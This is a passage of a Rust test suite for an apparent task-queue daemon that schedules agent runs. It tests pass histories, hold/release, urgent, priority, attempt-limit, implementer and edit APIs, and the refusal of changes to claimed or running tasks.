16678 Some(if id == "a" { a.clone() } else { b.clone() })
16679 });
16680 assert_eq!(
16681 h.iter().map(|v| v.id.as_str()).collect::<Vec<_>>(),
16682 ["a", "b", "a"]
16683 );
16684 assert_eq!(h[0].attempt, AttemptCost::Refunded);
16685 assert!(h[0].outcome.contains("upgrade"));
16686 assert_eq!(h[2].kind, "resume");
16687 assert!(h[2].pass.is_some());
16688 task.runs = vec!["a".into(), "b".into(), "a".into()];
16690 let old = task_history(&task, |id| {
16691 Some(if id == "a" { a.clone() } else { b.clone() })
16692 });
16693 assert_eq!(
16694 old.iter()
16695 .map(|v| (&v.id, &v.kind, v.attempt))
16696 .collect::<Vec<_>>(),
16697 h.iter()
16698 .map(|v| (&v.id, &v.kind, v.attempt))
16699 .collect::<Vec<_>>()
16700 );
16701 }
16702
16703 #[test]
16704 fn an_upgrade_whose_target_was_not_known_says_so() {
16705 let run = flow_run(RunStatus::Implementing, |s| {
16706 s.passes = vec![
16707 recorded_pass(
16708 0,
16709 parked(crate::run::ParkCause::Upgrade {
16710 from: "0.121.0".to_owned(),
16711 to: None,
16712 }),
16713 ),
16714 recorded_pass(1, None),
16715 ];
16716 });
16717 let task = flow_task(&[RUN_X, RUN_X]);
16718 let h = task_history(&task, |_| Some(run.clone()));
16719 assert!(
16720 h[0].outcome.contains("upgrade from 0.121.0"),
16721 "{}",
16722 h[0].outcome
16723 );
16724 assert_eq!(h[0].attempt, AttemptCost::Unknown);
16726 }
16727
16728 #[test]
16729 fn each_pass_keeps_its_own_cause_across_several_resumes() {
16730 use crate::queue::PassCost;
16731 use crate::run::ParkCause;
16732 let run = flow_run(RunStatus::Implementing, |s| {
16733 s.passes = vec![
16734 recorded_pass(0, parked(upgrade_cause())),
16735 recorded_pass(
16736 1,
16737 parked(ParkCause::Interrupt {
16738 reason: "task a1b2 asked to run first".to_owned(),
16739 }),
16740 ),
16741 recorded_pass(2, parked(ParkCause::Operator)),
16742 recorded_pass(3, None),
16743 ];
16744 });
16745 let mut task = flow_task(&[RUN_X, RUN_X, RUN_X, RUN_X]);
16746 task.attempts = 1;
16747 task.passes = (0..3)
16748 .map(|i| settled_pass(RUN_X, i, PassCost::Refunded))
16749 .collect();
16750 let h = task_history(&task, |_| Some(run.clone()));
16751 assert!(h[0].outcome.contains("upgrade 0.121.0"), "{}", h[0].outcome);
16752 assert!(
16753 h[1].outcome.contains("task a1b2 asked to run first"),
16754 "{}",
16755 h[1].outcome
16756 );
16757 assert!(!h[1].outcome.contains("upgrade"), "{}", h[1].outcome);
16758 assert!(
16759 h[2].outcome.contains("operator asked the loop to park"),
16760 "{}",
16761 h[2].outcome
16762 );
16763 assert!(h[3].outcome.is_empty() || !h[3].outcome.contains("upgrade"));
16764 let f = task_flow(&task, &h, 2, None);
16765 assert_eq!((f.passes, f.runs, f.attempts), (4, 1, 1));
16766 }
16767
16768 #[test]
16769 fn a_pass_the_next_one_found_open_is_unrecorded_never_an_upgrade() {
16770 let run = flow_run(RunStatus::Implementing, |s| {
16771 s.passes = vec![
16772 recorded_pass(0, Some(crate::run::PassEnd::Unrecorded)),
16773 recorded_pass(1, None),
16774 ];
16775 });
16776 let task = flow_task(&[RUN_X, RUN_X]);
16777 let h = task_history(&task, |_| Some(run.clone()));
16778 assert_eq!(h[0].exit, RunExit::Interrupted);
16779 assert_eq!(h[0].attempt, AttemptCost::Unknown);
16780 assert!(
16781 h[0].outcome.contains("without recording why"),
16782 "{}",
16783 h[0].outcome
16784 );
16785 assert!(!h[0].outcome.contains("upgrade"), "{}", h[0].outcome);
16786 assert_eq!(h[0].pass.as_ref().map(|p| p.end), Some("unrecorded"));
16787 }
16788
16789 #[test]
16790 fn a_record_from_before_passes_stays_unknown_even_next_to_recorded_ones() {
16791 use crate::queue::PassCost;
16792 let run = flow_run(RunStatus::Implementing, |s| {
16795 s.passes = vec![
16796 recorded_pass(0, parked(upgrade_cause())),
16797 recorded_pass(1, None),
16798 ];
16799 });
16800 let mut task = flow_task(&[RUN_X, RUN_X, RUN_X]);
16801 task.passes = vec![settled_pass(RUN_X, 0, PassCost::Refunded)];
16802 let h = task_history(&task, |_| Some(run.clone()));
16803 assert!(h[0].pass.is_none());
16804 assert_eq!(h[0].exit, RunExit::Interrupted);
16805 assert_eq!(h[0].attempt, AttemptCost::Unknown);
16806 assert!(h[0].outcome.contains("not recorded"), "{}", h[0].outcome);
16807 assert!(!h[0].outcome.contains("upgrade"), "{}", h[0].outcome);
16808 assert!(h[1].outcome.contains("upgrade 0.121.0"), "{}", h[1].outcome);
16809 let legacy = flow_run(RunStatus::Implementing, |_| {});
16811 let h = task_history(&flow_task(&[RUN_X, RUN_X]), |_| Some(legacy.clone()));
16812 assert!(h.iter().all(|v| v.pass.is_none()));
16813 assert!(h[0].outcome.contains("not recorded"), "{}", h[0].outcome);
16814 }
16815
16816 #[test]
16817 fn a_resume_outside_the_task_loop_does_not_shift_the_recorded_passes() {
16818 use crate::queue::PassCost;
16819 let mut web = recorded_pass(1, parked(crate::run::ParkCause::Operator));
16822 web.task_entry = false;
16823 let run = flow_run(RunStatus::Implementing, |s| {
16824 s.passes = vec![
16825 recorded_pass(0, parked(upgrade_cause())),
16826 web.clone(),
16827 recorded_pass(2, None),
16828 ];
16829 });
16830 let mut task = flow_task(&[RUN_X, RUN_X]);
16831 task.passes = vec![settled_pass(RUN_X, 0, PassCost::Refunded)];
16832 let h = task_history(&task, |_| Some(run.clone()));
16833 assert!(h[0].outcome.contains("upgrade 0.121.0"), "{}", h[0].outcome);
16834 assert!(!h[1].outcome.contains("not recorded"), "{}", h[1].outcome);
16835
16836 let mut web0 = recorded_pass(0, parked(upgrade_cause()));
16839 web0.task_entry = false;
16840 let run = flow_run(RunStatus::Implementing, |s| {
16841 s.passes = vec![web0.clone(), recorded_pass(1, None)];
16842 });
16843 let h = task_history(&flow_task(&[RUN_X, RUN_X]), |_| Some(run.clone()));
16844 assert!(h[0].pass.is_none());
16845 assert!(!h[0].outcome.contains("upgrade"), "{}", h[0].outcome);
16846 assert!(h[1].pass.is_some());
16847 }
16848
16849 #[tokio::test]
16850 async fn explicit_resumption_web_handler_matches_cli_without_a_listener() {
16851 let dir = tempfile::tempdir().unwrap();
16852 let queue = Queue::at(dir.path().join("queue"));
16853 let ui = Arc::new(Ui::new(
16854 queue.clone(),
16855 Questions::at(dir.path().join("questions")),
16856 Talks::at(dir.path().join("talks")),
16857 dir.path().join("runs"),
16858 dir.path().to_path_buf(),
16859 dir.path().to_path_buf(),
16860 ));
16861 let mut t = Task::new(
16862 "recover".into(),
16863 "Inspect".into(),
16864 PathBuf::from("."),
16865 Source::Human,
16866 );
16867 t.record_answer("Inspect then resume?".into(), "Inspect then wait".into());
16868 t.start("run-A".into());
16869 t.release_operator("choice", Some("resume-question"));
16870 t.resume_override = Some(crate::queue::OperatorResume {
16871 question_id: "resume-question".into(),
16872 at: jiff::Timestamp::now(),
16873 conductor_rehold: None,
16874 forced: true,
16875 pinned_run: Some("run-A".into()),
16876 });
16877 t.hold_machine(Some("inspection pending".into()));
16878 t.edit("recover".into(), "Reuse approved PR head".into())
16879 .unwrap();
16880 queue.put(&mut t).unwrap();
16881 let mut cli = t.clone();
16882 cli.release_operator("cli", None);
16883 let Json(reply) = queue_release(State(ui), Path(t.id.clone())).await.unwrap();
16884 let reloaded = queue.get(&t.id).unwrap();
16885 assert_eq!(reply.task.status, TaskStatus::Queued);
16886 assert!(reloaded.resume_override.is_none());
16887 assert_eq!(reloaded.answers, t.answers);
16888 let mut web = reloaded.resumption.unwrap();
16889 let cli = cli.resumption.unwrap();
16890 assert_eq!(web.source, "web");
16891 web.source = cli.source.clone();
16892 web.at = cli.at;
16893 assert_eq!(web, cli);
16894 }
16895
16896 #[tokio::test]
16897 async fn holding_then_releasing_returns_a_task_to_the_loop_with_a_fresh_budget() {
16898 let f = Fixture::start().await;
16899 let queue = f.queue();
16900 let mut task = Task::new(
16901 "spent".to_owned(),
16902 "Try again".to_owned(),
16903 PathBuf::from("/repo/magi"),
16904 Source::Human,
16905 );
16906 task.start("20260902-140502-bbbb".to_owned());
16907 task.fail("agent gave up", 9);
16908 queue.put(&mut task).expect("file the task");
16909
16910 let held = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
16911 assert_eq!(held.status, 200);
16912 assert_eq!(held.json()["status_str"], "held");
16913
16914 let released = f
16915 .post(&format!("/api/queue/{}/release", task.id), None)
16916 .await;
16917 assert_eq!(released.status, 200);
16918 assert_eq!(released.json()["status_str"], "queued");
16919 assert_eq!(released.json()["resumption"]["source"], "web");
16920 assert_eq!(released.json()["resumption"]["instruction"], "Try again");
16921 let mut cli = task.clone();
16922 cli.release_operator("cli", None);
16923 let web = queue.get(&task.id).unwrap().resumption.unwrap();
16924 let cli = cli.resumption.unwrap();
16925 assert_eq!(web.instruction, cli.instruction);
16926 assert_eq!(web.answers_through, cli.answers_through);
16927 assert_eq!(web.runs_through, cli.runs_through);
16928 assert_eq!(web.cleared_reason, cli.cleared_reason);
16929 assert_eq!(
16930 released.json()["attempts"],
16931 0,
16932 "release is a real second chance, not an instant re-hold"
16933 );
16934 assert_eq!(
16935 queue.get(&task.id).expect("reload").status,
16936 TaskStatus::Queued,
16937 "the change is on disk, not only in the reply"
16938 );
16939 assert!(
16940 !f.home
16941 .path()
16942 .join("queue")
16943 .join(format!("{}.lock", task.id))
16944 .exists(),
16945 "the claim the mutation took is released again"
16946 );
16947 }
16948
16949 #[tokio::test]
16950 async fn a_task_a_daemon_is_running_cannot_be_changed_from_the_phone() {
16951 let f = Fixture::start().await;
16952 let queue = f.queue();
16953 let mut task = Task::new(
16954 "busy".to_owned(),
16955 "Running right now".to_owned(),
16956 PathBuf::from("/repo/magi"),
16957 Source::Human,
16958 );
16959 queue.put(&mut task).expect("file the task");
16960 let _claim = queue.claim(&task.id).expect("stand in for the daemon");
16961
16962 let res = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
16963
16964 assert_eq!(res.status, 409);
16965 assert_eq!(
16966 queue.get(&task.id).expect("reload").status,
16967 TaskStatus::Queued,
16968 "the refused hold changed nothing"
16969 );
16970 }
16971
16972 #[tokio::test]
16973 async fn holding_with_a_reason_reads_back_from_show_and_the_card_and_release_clears_it() {
16974 let f = Fixture::start().await;
16975 let queue = f.queue();
16976 let mut task = Task::new(
16977 "waiting on the migration".to_owned(),
16978 "Do the thing".to_owned(),
16979 PathBuf::from("/repo/magi"),
16980 Source::Human,
16981 );
16982 queue.put(&mut task).expect("file the task");
16983
16984 let held = f
16985 .post(
16986 &format!("/api/queue/{}/hold", task.id),
16987 Some(r#"{"reason":"waiting for 20260101-000000-aaaa to land"}"#),
16988 )
16989 .await;
16990 assert_eq!(held.status, 200, "{}", held.body);
16991 assert_eq!(held.json()["status_str"], "held");
16992 assert_eq!(
16993 held.json()["hold_reason"],
16994 "waiting for 20260101-000000-aaaa to land"
16995 );
16996
16997 let listed = f.get("/api/queue").await.json();
16998 assert_eq!(
16999 listed[0]["hold_reason"], "waiting for 20260101-000000-aaaa to land",
17000 "the card reads the reason off the same list route"
17001 );
17002
17003 let mut plain = Task::new(
17006 "no reason given".to_owned(),
17007 "Do another thing".to_owned(),
17008 PathBuf::from("/repo/magi"),
17009 Source::Human,
17010 );
17011 queue.put(&mut plain).expect("file the task");
17012 let held_plain = f.post(&format!("/api/queue/{}/hold", plain.id), None).await;
17013 assert_eq!(held_plain.status, 200, "{}", held_plain.body);
17014 assert!(held_plain.json()["hold_reason"].is_null());
17015
17016 let released = f
17017 .post(&format!("/api/queue/{}/release", task.id), None)
17018 .await;
17019 assert_eq!(released.status, 200);
17020 assert!(
17021 released.json()["hold_reason"].is_null(),
17022 "a release must clear the reason so the next hold does not inherit it"
17023 );
17024 }
17025
17026 #[test]
17027 fn urgent_request_requires_a_boolean_and_rejects_unknown_fields() {
17028 for urgent in [true, false] {
17029 let body: UrgentBody =
17030 serde_json::from_value(serde_json::json!({ "urgent": urgent })).unwrap();
17031 assert_eq!(body.urgent, urgent);
17032 }
17033 for input in [
17034 r#"{}"#,
17035 r#"{"urgent":null}"#,
17036 r#"{"urgent":"true"}"#,
17037 r#"{"urgent":1}"#,
17038 r#"{"urgent":true,"extra":false}"#,
17039 ] {
17040 assert!(
17041 serde_json::from_str::<UrgentBody>(input).is_err(),
17042 "{input}"
17043 );
17044 }
17045 }
17046
17047 #[tokio::test]
17048 async fn urgent_handler_saves_and_rejects_claims_without_a_server() {
17049 let home = TempDir::new().unwrap();
17050 let q = Queue::at(home.path().join("queue"));
17051 let ui = Arc::new(Ui::new(
17052 q.clone(),
17053 Questions::at(home.path().join("questions")),
17054 Talks::at(home.path().join("talks")),
17055 home.path().join("runs"),
17056 home.path().into(),
17057 home.path().into(),
17058 ));
17059 let mut task = Task::new(
17060 "urgent handler".into(),
17061 "keep".into(),
17062 home.path().into(),
17063 Source::Human,
17064 );
17065 for status in [TaskStatus::Queued, TaskStatus::Held] {
17066 task.status = status;
17067 q.put(&mut task).unwrap();
17068 for urgent in [true, true, false, false] {
17069 let saved = queue_urgent(
17070 State(Arc::clone(&ui)),
17071 Path(task.short().into()),
17072 Ok(Json(UrgentBody { urgent })),
17073 )
17074 .await
17075 .unwrap();
17076 assert_eq!(serde_json::to_value(saved.0).unwrap()["urgent"], urgent);
17077 assert_eq!(q.get(&task.id).unwrap().urgent, urgent);
17078 }
17079 }
17080 task.status = TaskStatus::Queued;
17081 q.put(&mut task).unwrap();
17082 let claim = q.claim(&task.id).unwrap();
17083 let error = queue_urgent(
17084 State(Arc::clone(&ui)),
17085 Path(task.id.clone()),
17086 Ok(Json(UrgentBody { urgent: true })),
17087 )
17088 .await
17089 .unwrap_err();
17090 assert_eq!(error.status, StatusCode::CONFLICT);
17091 assert!(error.message.contains("released"));
17092 drop(claim);
17093 for status in [
17094 TaskStatus::Running,
17095 TaskStatus::Done,
17096 TaskStatus::Failed,
17097 TaskStatus::Blocked,
17098 TaskStatus::Parked,
17099 ] {
17100 task.status = status;
17101 q.put(&mut task).unwrap();
17102 let error = queue_urgent(
17103 State(Arc::clone(&ui)),
17104 Path(task.id.clone()),
17105 Ok(Json(UrgentBody { urgent: false })),
17106 )
17107 .await
17108 .unwrap_err();
17109 assert_eq!(error.status, StatusCode::BAD_REQUEST);
17110 assert!(error.message.contains(status.as_str()));
17111 }
17112 }
17113
17114 #[tokio::test]
17115 async fn urgent_api_updates_preserves_and_validates_tasks() {
17116 let f = Fixture::start().await;
17117 let q = f.queue();
17118 let mut t = Task::new(
17119 "urgent API".into(),
17120 "unchanged".into(),
17121 PathBuf::from("/repo/magi"),
17122 Source::Human,
17123 );
17124 t.attempts = 2;
17125 t.priority = 9;
17126 t.interrupt = true;
17127 t.hold_reason = Some("waiting for approval".into());
17128 for status in [TaskStatus::Queued, TaskStatus::Held] {
17129 t.status = status;
17130 q.put(&mut t).unwrap();
17131 for urgent in [true, true, false, false] {
17132 let response = f
17133 .post(
17134 &format!("/api/queue/{}/urgent", t.short()),
17135 Some(&format!("{{\"urgent\":{urgent}}}")),
17136 )
17137 .await;
17138 assert_eq!(response.status, 200, "{}", response.body);
17139 assert_eq!(response.json()["urgent"], urgent);
17140 let saved = q.get(&t.id).unwrap();
17141 let mut before = serde_json::to_value(&t).unwrap();
17142 let mut after = serde_json::to_value(saved).unwrap();
17143 before["urgent"] = urgent.into();
17144 before.as_object_mut().unwrap().remove("updated_at");
17145 after.as_object_mut().unwrap().remove("updated_at");
17146 assert_eq!(after, before);
17147 }
17148 }
17149 let route = format!("/api/queue/{}/urgent", t.id);
17150 for body in [
17151 r#"{}"#,
17152 r#"{"urgent":null}"#,
17153 r#"{"urgent":"true"}"#,
17154 r#"{"urgent":1}"#,
17155 r#"{"urgent":true,"extra":false}"#,
17156 "{",
17157 ] {
17158 assert_eq!(f.post(&route, Some(body)).await.status, 400);
17159 }
17160 t.status = TaskStatus::Queued;
17161 q.put(&mut t).unwrap();
17162 let claim = q.claim(&t.id).unwrap();
17163 let response = f.post(&route, Some(r#"{"urgent":true}"#)).await;
17164 assert_eq!(response.status, 409, "{}", response.body);
17165 assert!(!q.get(&t.id).unwrap().urgent);
17166 drop(claim);
17167 for status in [
17168 TaskStatus::Running,
17169 TaskStatus::Done,
17170 TaskStatus::Failed,
17171 TaskStatus::Blocked,
17172 TaskStatus::Parked,
17173 ] {
17174 t.status = status;
17175 q.put(&mut t).unwrap();
17176 for urgent in [true, false] {
17177 let response = f
17178 .post(&route, Some(&format!("{{\"urgent\":{urgent}}}")))
17179 .await;
17180 assert_eq!(response.status, 400, "{}", response.body);
17181 assert!(response.body.contains(status.as_str()));
17182 assert!(response.body.contains("queued or held"));
17183 assert!(!q.get(&t.id).unwrap().urgent);
17184 }
17185 }
17186 assert_eq!(
17187 f.post("/api/queue/missing/urgent", Some(r#"{"urgent":true}"#))
17188 .await
17189 .status,
17190 404
17191 );
17192 }
17193
17194 #[tokio::test]
17195 async fn priority_can_be_raised_from_the_phone_and_moves_the_task_ahead() {
17196 let f = Fixture::start().await;
17197 let queue = f.queue();
17198 let mut older = Task::new(
17199 "filed first".to_owned(),
17200 "x".to_owned(),
17201 PathBuf::from("/repo/magi"),
17202 Source::Human,
17203 );
17204 older.id = "20260101-000001-aaaa".to_owned();
17205 let mut newer = Task::new(
17206 "filed second".to_owned(),
17207 "x".to_owned(),
17208 PathBuf::from("/repo/magi"),
17209 Source::Human,
17210 );
17211 newer.id = "20260101-000002-bbbb".to_owned();
17212 queue.put(&mut older).expect("file older");
17213 queue.put(&mut newer).expect("file newer");
17214
17215 let before = f.get("/api/queue").await.json();
17218 assert_eq!(before[0]["id"], newer.id);
17219 assert_eq!(before[1]["id"], older.id);
17220
17221 let raised = f
17225 .post(
17226 &format!("/api/queue/{}/priority", older.id),
17227 Some(r#"{"priority":10}"#),
17228 )
17229 .await;
17230 assert_eq!(raised.status, 200, "{}", raised.body);
17231 assert_eq!(raised.json()["priority"], 10);
17232
17233 let after = f.get("/api/queue").await.json();
17234 let names: Vec<&str> = after
17235 .as_array()
17236 .unwrap()
17237 .iter()
17238 .map(|t| t["id"].as_str().unwrap())
17239 .collect();
17240 assert_eq!(names[0], older.id, "the raised task now sorts first");
17244 }
17245
17246 #[tokio::test]
17247 async fn task_attempt_limit_api_persists_validates_and_refuses_claims() {
17248 let dir = TempDir::new().unwrap();
17249 let q = Queue::at(dir.path().join("queue"));
17250 let ui = Arc::new(Ui::new(
17251 q.clone(),
17252 Questions::at(dir.path().join("questions")),
17253 Talks::at(dir.path().join("talks")),
17254 dir.path().join("runs"),
17255 dir.path().to_path_buf(),
17256 dir.path().to_path_buf(),
17257 ));
17258 let mut t = Task::new(
17259 "budget".into(),
17260 "keep".into(),
17261 dir.path().into(),
17262 Source::Human,
17263 );
17264 t.attempts = 2;
17265 t.runs.push("prior-run".into());
17266 t.hold_manual(Some("waiting".into()));
17267 q.put(&mut t).unwrap();
17268 let change = |value| {
17269 queue_attempt_limit(
17270 State(ui.clone()),
17271 Path(t.id.clone()),
17272 Ok(Json(AttemptLimitBody {
17273 attempt_limit: value,
17274 })),
17275 )
17276 };
17277 for value in [
17278 serde_json::json!(3),
17279 serde_json::Value::Null,
17280 serde_json::json!(1),
17281 ] {
17282 let response = change(value.clone()).await.unwrap();
17283 assert_eq!(
17284 serde_json::to_value(response.0).unwrap()["attempt_limit"],
17285 value
17286 );
17287 let saved = q.get(&t.id).unwrap();
17288 assert_eq!(
17289 serde_json::to_value(&saved).unwrap()["attempt_limit"],
17290 value
17291 );
17292 assert_eq!(saved.status, TaskStatus::Held);
17293 assert_eq!(saved.attempts, t.attempts);
17294 assert_eq!(saved.runs, t.runs);
17295 assert_eq!(saved.hold_reason, t.hold_reason);
17296 let detail = task_detail(State(ui.clone()), Path(t.id.clone()))
17297 .await
17298 .unwrap()
17299 .0;
17300 assert_eq!(detail.max_attempts, saved.effective_attempt_limit(2));
17301 assert_eq!(detail.flow.max_attempts, detail.max_attempts);
17302 let outcome = task_outcome(&saved, "prior-run", 2, |_| None);
17303 assert_eq!(outcome.max_attempts, detail.max_attempts);
17304 }
17305 for value in [
17306 serde_json::json!(0),
17307 serde_json::json!(-1),
17308 serde_json::json!(1.5),
17309 serde_json::json!("3"),
17310 serde_json::json!(true),
17311 ] {
17312 assert_eq!(
17313 change(value).await.err().unwrap().status,
17314 StatusCode::BAD_REQUEST
17315 );
17316 }
17317 assert!(serde_json::from_str::<AttemptLimitBody>("{}").is_err());
17318 let claim = q.claim(&t.id).unwrap();
17319 assert_eq!(
17320 change(serde_json::json!(4)).await.err().unwrap().status,
17321 StatusCode::CONFLICT
17322 );
17323 drop(claim);
17324 for status in [
17325 TaskStatus::Running,
17326 TaskStatus::Done,
17327 TaskStatus::Failed,
17328 TaskStatus::Blocked,
17329 TaskStatus::Parked,
17330 ] {
17331 let mut stored = q.get(&t.id).unwrap();
17332 stored.status = status;
17333 q.put(&mut stored).unwrap();
17334 assert_eq!(
17335 change(serde_json::json!(4)).await.err().unwrap().status,
17336 StatusCode::BAD_REQUEST
17337 );
17338 assert_eq!(q.get(&t.id).unwrap().attempt_limit.unwrap().get(), 1);
17339 }
17340 let mut stored = q.get(&t.id).unwrap();
17341 stored.status = TaskStatus::Queued;
17342 q.put(&mut stored).unwrap();
17343 let _ = change(serde_json::Value::Null).await.unwrap();
17344 assert_eq!(q.get(&t.id).unwrap().attempt_limit, None);
17345 }
17346
17347 #[tokio::test]
17348 async fn task_implementers_api_persists_and_refuses_claimed_or_finished_tasks() {
17349 let dir = TempDir::new().unwrap();
17350 let repo = dir.path().join("repo");
17351 std::fs::create_dir(&repo).unwrap();
17352 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).unwrap();
17353 let q = Queue::at(dir.path().join("queue"));
17354 let ui = Arc::new(Ui::new(
17355 q.clone(),
17356 Questions::at(dir.path().join("questions")),
17357 Talks::at(dir.path().join("talks")),
17358 dir.path().join("runs"),
17359 dir.path().to_path_buf(),
17360 repo.clone(),
17361 ));
17362 let mut t = Task::new(
17363 "seats".into(),
17364 "keep instruction".into(),
17365 repo,
17366 Source::Human,
17367 );
17368 t.runs.push("prior-run".into());
17369 t.hold_manual(Some("waiting".into()));
17370 q.put(&mut t).unwrap();
17371 let change = |count| {
17372 queue_implementers(
17373 State(ui.clone()),
17374 Path(t.id.clone()),
17375 Ok(Json(ImplementersBody {
17376 implementers: count,
17377 })),
17378 )
17379 };
17380 for count in [2, 1, 2] {
17381 let response = change(count).await.unwrap();
17382 assert_eq!(response.0.task.implementers(), Some(usize::from(count)));
17383 let saved = q.get(&t.id).unwrap();
17384 assert_eq!(saved.implementers(), Some(usize::from(count)));
17385 assert_eq!(saved.runs, t.runs);
17386 assert_eq!(saved.instruction, t.instruction);
17387 }
17388 for count in [0, 4] {
17389 assert_eq!(
17390 change(count).await.err().unwrap().status,
17391 StatusCode::BAD_REQUEST
17392 );
17393 }
17394 assert!(serde_json::from_str::<ImplementersBody>(r#"{"implementers":256}"#).is_err());
17395 let claim = q.claim(&t.id).unwrap();
17396 assert_eq!(change(1).await.err().unwrap().status, StatusCode::CONFLICT);
17397 drop(claim);
17398 for status in [
17399 TaskStatus::Running,
17400 TaskStatus::Done,
17401 TaskStatus::Failed,
17402 TaskStatus::Blocked,
17403 TaskStatus::Parked,
17404 ] {
17405 let mut stored = q.get(&t.id).unwrap();
17406 stored.status = status;
17407 q.put(&mut stored).unwrap();
17408 assert_eq!(
17409 change(1).await.err().unwrap().status,
17410 StatusCode::BAD_REQUEST
17411 );
17412 assert_eq!(q.get(&t.id).unwrap().implementers(), Some(2));
17413 }
17414 }
17415
17416 #[tokio::test]
17417 async fn priority_is_refused_on_a_running_task_with_a_reason_in_the_body() {
17418 let f = Fixture::start().await;
17419 let queue = f.queue();
17420 let mut task = Task::new(
17421 "in flight".to_owned(),
17422 "x".to_owned(),
17423 PathBuf::from("/repo/magi"),
17424 Source::Human,
17425 );
17426 task.start("20260902-140502-bbbb".to_owned());
17427 queue.put(&mut task).expect("file the task");
17428
17429 let res = f
17430 .post(
17431 &format!("/api/queue/{}/priority", task.id),
17432 Some(r#"{"priority":9}"#),
17433 )
17434 .await;
17435 assert_eq!(res.status, 400, "{}", res.body);
17436 assert!(
17437 res.json()["error"]
17438 .as_str()
17439 .is_some_and(|e| e.contains("running")),
17440 "{}",
17441 res.body
17442 );
17443 assert_eq!(
17444 queue.get(&task.id).expect("reload").priority,
17445 0,
17446 "the refused write must not partially apply"
17447 );
17448 }
17449
17450 #[tokio::test]
17451 async fn editing_replaces_title_and_instruction_and_keeps_id_created_at_source_and_runs() {
17452 let f = Fixture::start().await;
17453 let queue = f.queue();
17454 let mut task = Task::new(
17455 "old title".to_owned(),
17456 "old instruction".to_owned(),
17457 PathBuf::from("/repo/magi"),
17458 Source::Agent {
17459 run: "20260101-000000-beef".to_owned(),
17460 node: "implement".to_owned(),
17461 },
17462 );
17463 task.runs.push("20260101-000000-beef".to_owned());
17464 queue.put(&mut task).expect("file the task");
17465 let created_at = task.created_at;
17466
17467 let edited = f
17468 .post(
17469 &format!("/api/queue/{}/edit", task.id),
17470 Some(r#"{"title":"new title","instruction":"new instruction"}"#),
17471 )
17472 .await;
17473 assert_eq!(edited.status, 200, "{}", edited.body);
17474 let body = edited.json();
17475 assert_eq!(body["title"], "new title");
17476 assert_eq!(body["instruction"], "new instruction");
17477 assert_eq!(body["id"], task.id, "editing must not mint a new id");
17478 assert_eq!(body["created_at"], created_at.to_string());
17479 assert_eq!(
17480 body["source"]["kind"], "agent",
17481 "editing a task an agent filed must not turn it human: {body}"
17482 );
17483 assert_eq!(body["runs"], serde_json::json!(["20260101-000000-beef"]));
17484
17485 let reloaded = queue.get(&task.id).expect("reload");
17486 assert_eq!(reloaded.title, "new title");
17487 assert_eq!(reloaded.instruction, "new instruction");
17488 }
17489
17490 #[tokio::test]
17491 async fn editing_in_a_duplicate_is_a_409_naming_the_match_until_forced() {
17492 let tmp = TempDir::new().expect("tempdir");
17495 let repo = tmp.path().join("repo");
17496 std::fs::create_dir_all(&repo).expect("repo dir");
17497 let judge = MOCK_AGENT_TOML.replace(
17498 "printf ok",
17499 r#"printf '{\"duplicate\":true,\"reason\":\"same branch\"}'"#,
17500 );
17501 std::fs::write(repo.join("magi.toml"), judge).expect("write magi.toml");
17502 let f = Fixture::with_repo(repo.clone()).await;
17503 let queue = f.queue();
17504 let mut owner = Task::new(
17505 "owner".to_owned(),
17506 "review it".to_owned(),
17507 repo.clone(),
17508 Source::Human,
17509 );
17510 owner.review_branch = Some("magi/ab12/A".to_owned());
17511 queue.put(&mut owner).expect("file the owner");
17512 let mut task = Task::new(
17513 "draft".to_owned(),
17514 "old".to_owned(),
17515 repo.clone(),
17516 Source::Human,
17517 );
17518 queue.put(&mut task).expect("file the draft");
17519 let url = format!("/api/queue/{}/edit", task.id);
17520
17521 let refused = f
17522 .post(
17523 &url,
17524 Some(r#"{"title":"t","instruction":"land magi/ab12/A"}"#),
17525 )
17526 .await;
17527 assert_eq!(refused.status, 409, "{}", refused.body);
17528 let msg = refused.json()["error"]
17529 .as_str()
17530 .unwrap_or_default()
17531 .to_owned();
17532 assert!(
17533 msg.contains("magi/ab12/A") && msg.contains("force"),
17534 "{msg}"
17535 );
17536 assert_eq!(queue.get(&task.id).expect("reload").instruction, "old");
17537
17538 let forced = f
17539 .post(
17540 &url,
17541 Some(r#"{"title":"t","instruction":"land magi/ab12/A","force":true}"#),
17542 )
17543 .await;
17544 assert_eq!(forced.status, 200, "{}", forced.body);
17545 }
17546
17547 #[tokio::test]
17548 async fn editing_a_running_task_is_refused_with_a_reason_in_the_response() {
17549 let f = Fixture::start().await;
17550 let queue = f.queue();
17551 let mut task = Task::new(
17552 "in flight".to_owned(),
17553 "do not touch".to_owned(),
17554 PathBuf::from("/repo/magi"),
17555 Source::Human,
17556 );
17557 task.start("20260902-140502-bbbb".to_owned());
17558 queue.put(&mut task).expect("file the task");
17559
17560 let res = f
17561 .post(
17562 &format!("/api/queue/{}/edit", task.id),
17563 Some(r#"{"title":"x","instruction":"y"}"#),
17564 )
17565 .await;
17566 assert_eq!(res.status, 400, "{}", res.body);
17567 assert!(
17568 res.json()["error"]
17569 .as_str()
17570 .is_some_and(|e| e.contains("running")),
17571 "{}",
17572 res.body
17573 );
17574 assert_eq!(
17575 queue.get(&task.id).expect("reload").instruction,
17576 "do not touch",
17577 "the refused edit must not change the file"
17578 );
17579 }
17580
17581 #[tokio::test]
17582 async fn a_claimed_task_refuses_priority_and_edit_the_same_way_it_refuses_hold() {
17583 let f = Fixture::start().await;
17584 let queue = f.queue();
17585 let mut task = Task::new(
17586 "busy".to_owned(),
17587 "Running right now".to_owned(),
17588 PathBuf::from("/repo/magi"),
17589 Source::Human,
17590 );
17591 queue.put(&mut task).expect("file the task");
17592 let _claim = queue.claim(&task.id).expect("stand in for the daemon");
17593
17594 let priority = f
17595 .post(
17596 &format!("/api/queue/{}/priority", task.id),
17597 Some(r#"{"priority":9}"#),
17598 )
17599 .await;
17600 assert_eq!(priority.status, 409, "{}", priority.body);
17601
17602 let edit = f
17603 .post(
17604 &format!("/api/queue/{}/edit", task.id),
17605 Some(r#"{"title":"x","instruction":"y"}"#),
17606 )
17607 .await;
17608 assert_eq!(edit.status, 409, "{}", edit.body);
17609 }
17610
17611 #[tokio::test]
17612 async fn done_from_the_phone_keeps_runs_source_and_created_at_unlike_delete() {
17613 let f = Fixture::start().await;
17614 let queue = f.queue();
17615 let mut task = Task::new(
17616 "shipped by hand".to_owned(),
17617 "merged outside the loop".to_owned(),
17618 PathBuf::from("/repo/magi"),
17619 Source::Agent {
17620 run: "20260101-000000-b455".to_owned(),
